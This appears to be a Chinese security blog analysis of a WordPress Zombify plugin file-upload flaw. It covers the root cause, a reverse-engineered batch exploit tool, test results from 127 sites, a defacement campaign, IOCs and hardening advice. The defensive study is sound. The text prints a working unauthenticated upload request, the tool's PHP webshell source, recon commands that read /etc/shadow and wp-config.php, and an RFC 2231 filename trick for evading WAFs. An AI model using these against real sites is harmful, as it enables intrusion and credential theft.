Tabula Rasa
← 返回
分析·2026.10.15

CVE-2026-94503 威胁全貌

还原漏洞从任意文件写入到 RCE 的苛刻条件与野外现状
Information
此文章有生成式人工智能参与分析与写作

组件信息:WordPress 互动内容插件 PX-lab Zombify ≤ 1.7.7
漏洞类型:危险类型文件不受限上传 (CWE-434) → 未认证任意文件写入(极特殊条件下可转化为代码执行)
研究背景:近期网络上流传出该漏洞的“未认证 RCE”说法,并伴随一款针对 900 多个目标的自动化批量利用工具(CVE-2026-94503.exe)。本文通过对该工具的完整逆向分析,并结合对 127 个公网真实目标的测试验证,还原漏洞原理、武器化细节及真实攻击落地情况。文中所列请求均为原理演示,不包含一键攻击代码。


一、 这到底是个啥?

不少公开情报和 PoC 脚本将其宣称为 WordPress 插件 PX-lab Zombify 的“未认证 RCE 神仙漏洞”。甚至在野外,我们很快就捕获到了黑产制作的带界面的自动化批量收割工具,一键向数百个网站发起扫描。

然而,在我们深入逆向工具源码并对公网上的存量目标进行了拉网式测试后,发现现实情况要骨感得多:

  1. 核心能力其实是任意文件写入:漏洞的本质是插件前台控制器存在路由派发与权限缺失,加上分块上传逻辑上的“先写盘、后报错”,允许匿名访客将任意文件写入到 wp-content/uploads/YYYY/MM/ 目录下。
  2. 路径被牢牢锁死在 uploads 目录:经多轮测试,该漏洞无法实现路径穿越(../ 均被过滤或解析失败),攻击者根本无法跳出上传目录直接覆盖系统关键文件。
  3. “一键 RCE”大多是公开 PoC 的自欺欺人:很多开源 PoC 仅凭“返回 HTTP 200 且包含特定字符串”就判定 RCE 成功,但实测中绝大多数服务器只是将上传的脚本当作静态文本直接吐出了源码。
  4. 真实实测数据悬殊:在测试的 127 个公网目标中,虽然有 53 个站点可以成功落盘文件,但最终真正能执行 PHP 代码的仅有 1 个,而能够直接执行系统命令(Command Execution)的为 0 个。
  5. 在野黑客早已降维打击:比起执着于 RCE 的黑产利用工具,在野黑客组织早已利用这一漏洞批量上传 index.html 搞起了目录级 deface。

接下来,我们从漏洞根因、工具逆向、实测排查到防护加固,逐一拆解整条链路。


二、 漏洞根因:前台控制器越权 + 倒置的校验逻辑

漏洞涉及两个缺陷的致命叠加:一个负责让匿名访客能够敲开上传接口的大门,另一个则让恶意文件在被拦截前就已经稳稳落盘。

匿名访客请求 Post Create Page
       │
       ▼
zf_user_can_create() 权限检查失败
       │
       ▼
进入 BaseController::action()
POST 无 action ➔ 降级读取 $_GET['action']
       │
       ▼
未授权调用 actionZombify_video_upload()
       │
       ▼
Resumable.js 处理:先合并分块落盘
       │
       ▼
扩展名白名单校验失败 ➔ 仅返回 JSON 报错,不删文件!

1. 传参降级:如何触发上传方法?

问题出在 zombify/controllers/public_frontend_controller.php。插件通过 WordPress 的核心钩子挂载了前台控制流程:

add_filter( 'wp', 'zombify_public_frontend_page_func' );

当外部访客访问插件注册的 Post Create Page(默认 slug 多为 post-create-page,也有少数站点使用 post-create、create-post,或者通过 page_id=<数字> 访问)时,流程被触发。

插件首先会调用 zf_user_can_create() 检查当前用户是否有发帖权限。匿名访客显然无法通过这一步,于是执行流进入了通用的错误分发方法 BaseController::action()。

灾难在此发生:控制器在解析要执行的操作时,如果发现 POST 请求体中没有 action 字段,会直接退回去读取 URL 里的 $_GET['action'],并将其动态映射为控制器内部的 public 方法:

// 核心逻辑简示:无鉴权直接派发方法
$action = !empty($_POST['action']) ? $_POST['action'] : $_GET['action'];
$method = 'action' . ucfirst($action);
if (method_exists($this, $method)) {
    $this->$method();
}

攻击者只要在 GET 请求串中带上 action=zombify_video_upload,控制器就会毫无防备地调用 actionZombify_video_upload()。整条链路上没有登录校验,没有 nonce 令牌检查,原本应当受到严格权限保护的后台媒体上传接口,就这样对公网彻底敞开了大门。

2. 脆弱的分块上传:先落盘、后校验的逻辑死穴

进入上传方法后,Zombify 的后端为了兼容前端 Resumable.js 插件的分块上传功能,接收了一整套 Resumable 标准参数(如 resumableFilename、resumableChunkNumber、resumableIdentifier 等)。

但后端的处理流程犯了一个教科书级的逻辑顺序错误:

  1. 先合并落盘:服务端接收到分块后,直接把内容写入到当前年月的上传目录中,文件路径形如 /wp-content/uploads/YYYY/MM/<resumableFilename>。
  2. 后校验格式:直到文件已经完整写入磁盘后,代码才开始对文件后缀名做白名单检查。
  3. 报错不清理:如果发现后缀不合法,后端仅仅是向前端输出一个包含 format 错误信息的 JSON 响应,但根本没有调用 unlink 等函数去删除刚才写入的文件。

攻击者只要将 resumableFilename 指定为 Nx.php,服务端就会乖乖地把 WebShell 以 Nx.php 的名字持久化存储在 uploads 目录中。

3. 路径穿越测试:无法跳出上传目录

我们在分析时也重点排查了该漏洞是否存在二次放大危害的可能(例如通过目录穿越覆盖关键配置文件)。

经过反复实测,无论是标准的 ../、URL 编码后的 ..%2F,还是在 field_path 或 unid 等参数中注入跨目录序列,系统均无法识别或直接报错。这意味着攻击者只能在 wp-content/uploads/YYYY/MM/ 这个叶子目录中自由控制文件名与内容,无法逃逸到网站根目录或其他系统路径。


三、 逆向野生武器

在漏洞披露前后,我们在野外捕获了专门针对此漏洞的攻击程序,对其进行了完整的脱壳分析,还原了部分利用时的工程细节。

1. 程序架构与武器画像

  • 打包方式:基于 PyInstaller (onefile 模式) 打包,运行环境为 CPython 3.14。
  • 操作界面:使用 Python 内置的 Tkinter 构建图形界面(程序内类名为 ZombifyApp)。
  • 并发引擎:通过 requests.Session 配合 concurrent.futures.ThreadPoolExecutor 实现多线程批量扫描。

2. 自动攻击流水线

逆向显示,该程序将整个入侵流程拆解为了六个自动化步骤:

轻量级指纹探测

为了降低无效发包率,程序在发起攻击前会依次向目标请求三个静态文件:

GET /wp-content/plugins/zombify/assets/css/zombify.min.css
GET /wp-content/plugins/zombify/main-style.css
GET /wp-content/plugins/zombify/readme.md

只要任意接口返回 HTTP 200 且响应体大于 50 字节,工具便使用正则 [Vv]ersion[:\s]*(\d+\.\d+\.\d+) 提取插件版本号。

构造上传请求

向 Post Create Page 发送精心伪造的 multipart 分块上传报文:

POST /?action=zombify_video_upload&pagename=post-create-page HTTP/1.1
Host: target-site.com
User-Agent: python-requests/2.32.0
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX

------WebKitFormBoundaryX
Content-Disposition: form-data; name="field_path"

video
------WebKitFormBoundaryX
Content-Disposition: form-data; name="unid"

a1b2c3d4e5f6g7h8
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableChunkNumber"

1
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableChunkSize"

352
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableTotalSize"

352
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableTotalChunks"

1
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableIdentifier"

a1b2c3d4e5f6g7h8
------WebKitFormBoundaryX
Content-Disposition: form-data; name="resumableFilename"

Nx.php
------WebKitFormBoundaryX
Content-Disposition: form-data; name="file"; filename="Nx.php.part1"
Content-Type: application/octet-stream

<?php /* WebShell 载荷 */ ?>
------WebKitFormBoundaryX--

这里工具作者非常聪明地利用了前面提到的“报错依然落盘”机制。程序内置的响应判定规则如下:

服务端响应内容工具判定结论实际动作
纯数字 0回调未挂载放弃目标
纯数字 -1插件未激活放弃目标
JSON 中 result == 1上传成功进入后门验证
报错信息中包含 format虽报格式错误,但文件已写盘直接视作成功,进入后门验证
result == 0 且无报错上传成功进入后门验证

Shell 存活与特征验证

一旦请求发送完成,工具便会按当年与上一年的各月份,盲猜后门的访问路径: /wp-content/uploads/{YYYY/MM}/Nx.php。

当请求返回 HTTP 200 且内容中包含预设的后门特征指纹 Nx-zD 时,标记部署成功。但这恰恰是工具作者最大的误判来源——他把文件能被访问,直接等同于了代码能够执行。

内置 WebShell 功能

工具投放的 PHP 后门十分小巧,核心代码仅两段逻辑:

<?php
// 签名标识:Nx-zD
if ( isset( $_GET['c'] ) ) {
    echo '<pre>' . shell_exec( $_GET['c'] ) . '</pre>';
}
if ( isset( $_FILES['f'] ) ) {
    move_uploaded_file( $_FILES['f']['tmp_name'], __DIR__ . '/' . $_FILES['f']['name'] );
}
  • 通过 GET ?c=<命令> 触发 shell_exec() 执行系统命令。
  • 通过 POST 文件字段 f,可在同目录下二次投放更复杂的大马或持久化脚本。

第六步:全自动化信息收割

一旦确认“连通”,程序会立即自动化并发执行 31 条 Linux 侦察命令(包括 whoami、uname -a、cat /etc/passwd、cat /etc/shadow、cat wp-config.php、crontab -l 等),并使用正则 <pre>(.*?)</pre> 截取执行结果,写入本地的 reports/<host>_<timestamp>.txt 中。

从黑产的战术来看,这是一套极度流水线化、开箱即用的自动化收割方案。然而,这套看似完美的攻击链,在真实实网测试中却遭遇了巨大滑铁卢。


四、 假的 RCE:公开 PoC 的自欺欺人与实网全盘测绘

为什么工具作者和社区公开的 PoC 会认为这是一个通杀型的 RCE 漏洞?问题在于大部分人根本没有仔细检查回显内容。

1. 公开 PoC 究竟错在哪?

以安全社区广泛传播的 Wayang1337 漏洞检测脚本为例,其判定 RCE 成功的条件非常简陋:

  1. 目标响应状态码为 200 OK;
  2. 响应内容中包含 wpAdminModal 等标志性字符串;
  3. 响应体长度大于 50,000 字节。

我们挑选了两个测试站点,上传了一个约 82 KB 的 .phar 测试文件。请求发出后,服务端的响应果然是 200,内容长度也超过了 80 KB,并且包含了目标特征。按照该 PoC 的规则,这两个站点会被立刻归类为“已攻陷的 RCE 目标”。

但是,当我们把返回的响应原原本本打出来时,发现返回的根本就是我们上传文件的明文源码!
Web 服务器(如 Apache 或 LiteSpeed)因为没有配置 uploads 目录的 PHP 解析引擎,直接把它当成普通的静态文本文件原样吐给了客户端。代码压根就没有被 PHP 引擎执行过。

2. 127 个公网真实目标测绘大盘

为了搞清楚漏洞在真实网络环境下的真实杀伤力,我们对公网上收集到的 127 个部署了 Zombify 插件的实际目标展开了全自动指纹与行为分类测试。

测试结果直接推翻了“广泛 RCE”的说法:

127 个公网测试目标行为分布
────────────────────────────────────────────────────────
[1] EXEC (真正实现代码执行)       :   1 ( 0.8% )
[2] WRITE ONLY (仅能写入文件)     :  53 ( 41.7% )
    ├── 运行 1.7.8 (仅普通媒体可落盘) :  35
    └── 运行 ≤ 1.7.7 (危险文件可落盘):  18
        └── 成功写入 PHP 相关后缀   :   7 (仅落盘,未解析)
[3] NO LANDING (写入失败/被拦截)  :  29 ( 22.8% )
[4] ROUTE INACTIVE (路由不存在)   :  44 ( 34.6% )
────────────────────────────────────────────────────────

为什么 99% 的目标都无法执行 PHP?

  • Nginx 架构:现代 Nginx 针对 WordPress 的生产配置,几乎都会有一条针对 uploads 目录的防护策略。请求 wp-content/uploads/ 下的 .php 文件,Nginx 会直接返回 403 Forbidden,请求根本进不了 FastCGI。
  • Apache / LiteSpeed 架构:服务器默认不会在 uploads 目录下解析 PHP 扩展名。我们尝试了各种变形后缀,包括 phar、phtml、php5、php7、php8、phps、pht、inc、shtml 等,无一例外均作为静态文件直接回显源码。甚至尝试上传 .htaccess 试图通过 AddType 或 SetHandler 改变解析规则,也会因为主配置禁用了 AllowOverride 而无效。

也就是说,在绝大多数标准运维的 WordPress 站点上,该漏洞的影响范围严格止步于“未认证任意文件写入”。

3. 唯一确认执行的样本深度剖析(esnackable.com)

在全部 127 个样本中,唯独一个站点 esnackable.com 成功迈过了代码执行的门槛。

  • 站点环境:Cloudways 托管主机,PHP 8.3.35,插件版本 1.5.1,前台页面 slug 比较特殊,使用的是 create-post。
  • 执行证据:上传 .phar 文件后,向其发起 GET 请求,服务器返回了我们在脚本中定义好的 9 字节执行标记,而不是文件源码,证实 PHP 引擎介入了解析。

然而,攻击者就此就能拿到服务器 Shell 吗?并没有:

  1. disable_functions 成了最后的锁头:服务端的 php.ini 严格禁用了 shell_exec、exec、system、passthru、popen、proc_open、pcntl_exec,且关闭了 FFI。黑产利用程序中内置的 31 条系统收集命令在这一步全部报废,命令执行转化率为零。
  2. 然而文件系统层面的危害依然严重:由于 PHP 内部文件与网络函数不受 disable_functions 限制,攻击者可以通过原生函数无障碍读取 /etc/passwd 以及 wp-config.php,直接带走了数据库账密(DB_USER、DB_PASSWORD、DB_HOST)和各类安全密钥。
  3. 后门权限蔓延:该环境的 WordPress FS_METHOD 设定为 direct,且 Web 根目录(public_html)所属权限允许写入。攻击者借由当前代码执行能力,成功向站点根目录写入了全新的 PHP 文件,并在根目录下成功解析执行,实现了后门驻留。

这个极端案例说明:哪怕服务器配置了禁止命令执行,只要 uploads 目录放开了代码解析,站点依然会面临核心凭据泄露和持久化沦陷的致命威胁。


五、 在野真实攻击形态:舍弃 RCE 的 Deface 篡改

黑产工具的开发者可能还在苦恼为什么收割上来的报告全是一堆文件源码,但在野的黑客组织显然更加务实——既然只能写文件,那就用来搞 Deface。

我们在实际威胁监控中发现,有团伙(页面署名为土耳其背景的 FİENTİX & GROVDED)早已开始利用该漏洞对公网站点展开无差别涂鸦:

在野篡改攻击路径:
攻击者利用上传接口 ➔ 将定制 index.html 写入 wp-content/uploads/YYYY/MM/ ➔ 达成局部黑页展示
  • 目标文件:直接上传至 /wp-content/uploads/YYYY/MM/index.html,文件大小恒定为 5,009 字节。
  • 页面特征:
    • HTML 标签为 lang="tr";
    • 页面标题为 Hacked;
    • 页面正文大字标明 HACKED BY FİENTİX & GROVDED;
    • 引用了 Montserrat 和 Share Tech Mono 字体,并外链了 Pinterest 上的黑客背景图片。
  • 在野波及面:在我们抽取的 60 个存活候选目标中,有 8 个站点已经被植入了该篡改页面。当我们尝试访问同目录下的 index.php 时,服务器直接返回 403,进一步印证了这些目标根本无法执行 PHP,但对于一个不需要脚本解析的静态 index.html 来说,这种防御毫无意义。

六、 WAF 绕过与对抗特征

在对目标流量进行复现与监控期间,我们还记录了一些针对该漏洞的 WAF 防护与绕过表现:

  1. 入口请求极少被拦截:向 /?action=zombify_video_upload 发起的 POST 请求大多能正常穿透防火墙,单纯基于路径拦截的规则基本形同虚设。
  2. 载荷关键词检测有盲区:许多商业 WAF 在 multipart 数据段中并未严格拦截 <?php、<?=、eval( 或 shell_exec 等字符,但实测中如果载荷内出现了 strrev 函数,会立刻触发 403 阻断。
  3. 文件名黑名单的优雅绕过: 大部分 WAF 会对 filename="test.php" 这类危险扩展名进行拦截,但攻击者可以利用 RFC 2231 / RFC 5987 规范,使用扩展参数语法:
    Content-Disposition: form-data; name="file"; filename*=UTF-8''Nx.php.part1
    绝大多数 Web 防火墙无法正确解码此类参数,从而直接放行,但后端服务端却能正确解析文件名,达成规则绕过。

七、 影响自查、应急响应与加固建议

1. 站点如何排查是否受影响?

第一步:确认插件版本

检查后台已安装插件,或直接请求 /wp-content/plugins/zombify/readme.md 查看版本号。≤ 1.7.7 的版本均受影响。

第二步:寻找 Post Create Page 路由

很多站点的首页并不加载插件的前端资源,因此不能仅靠首页判断。需要确认站点是否存在插件注册的发布页面。常见的页面路径包括:

  • /?pagename=post-create-page
  • /?pagename=post-create
  • /?pagename=create-post
  • 或者后台创建页面时分配的具体 /?page_id=xxx

第三步:无害探测漏洞路由(无副作用)

构造一个纯 GET 请求进行验证:

GET /?pagename=post-create-page&action=zombify_video_upload
  • 如果返回 404 或特定错误:说明控制器成功接收到了 action 并在内部尝试寻找对应视图,表明该接口存在暴露面;
  • 如果返回 301/302 重定向到登录页,或直接被 403 阻断:说明站点存在前置鉴权或防护规则,不可直接利用。

2. 威胁排查与 IOC 清单

文件系统排查:

  • 搜索 /wp-content/uploads/ 及其年月子目录,排查名为 Nx.php 的文件。
  • 检查文件内容包含 Nx-zD、shell_exec( $_GET['c'] )、move_uploaded_file 的可疑 PHP 脚本。
  • 检查 uploads 年月目录下是否存在异常修改的 index.html(重点排查是否包含 HACKED BY 等篡改字样)。

访问日志审计:

  • 检索包含 action=zombify_video_upload 的 POST 请求,特别是请求头中带有 X-Requested-With: XMLHttpRequest,且表单数据中出现 resumableFilename、field_path=video 的记录。
  • 检索对 /wp-content/uploads/*/Nx.php 的异常访问,特别是带有 ?c= 参数的请求。
  • 检索来源 User-Agent 或签名串包含 BLACKNET-00C:VE-2026-94503 的扫描痕迹。

3. 根治与防御方案

  1. 升级插件:立即将 PX-lab Zombify 升级到 1.7.8 或更高版本(新版已在服务端对上传格式进行了前置白名单强校验,只允许正常的视频媒体类型落盘)。

  2. 代码层防范原则:

    • 彻底关闭前台控制器的未鉴权反射调用逻辑,绝不能将 URL 中的 GET 参数作为方法名动态派发;
    • 必须遵循“先校验、后写盘”的原则,对于上传校验失败的残留分块,必须有强力的清理逻辑(unlink)。
  3. 最关键的基础设施防御(一票否决权): 强制在 uploads 目录禁用脚本解析执行。无论插件代码存在多少逻辑漏洞,只要 Web 服务器层锁死了 uploads 目录的执行权限,攻击者就永远无法把文件上传转化为远程代码执行。

    • Nginx 配置示例:
      location ~* /wp-content/uploads/.*\.php$ {
          deny all;
          return 403;
      }
    • Apache 配置示例(在 uploads 根目录的 .htaccess 或主配置中):
      <FilesMatch "\.(php|phtml|phar|php5|php7|php8)$">
          Order Deny,Allow
          Deny from all
      </FilesMatch>

八、 结语

从技术维度来看,CVE-2026-94503 并不是一个多么精妙的漏洞——一个传参回退引发的方法越权,加上一段写在白名单校验前的文件保存逻辑,构成了全部根因。

但正是这样一个漏洞,在网络黑产手中被快速打包成自带 GUI 的并发自动化武器,在开源社区中被放大为“未认证 RCE”。而现实的另一侧,在野攻击者放弃了对执行环境的苛刻追求,仅仅利用任意写入一个 index.html,就轻松攻陷并篡改了多个站点。

所以永远不要依赖插件开发者的安全自觉。为 wp-content/uploads/ 这样本该只有静态资源的地方加上一条禁止执行 PHP 的策略,成本只需两分钟,却足以在无数个“一键 RCE”面前挡下致命的一刀。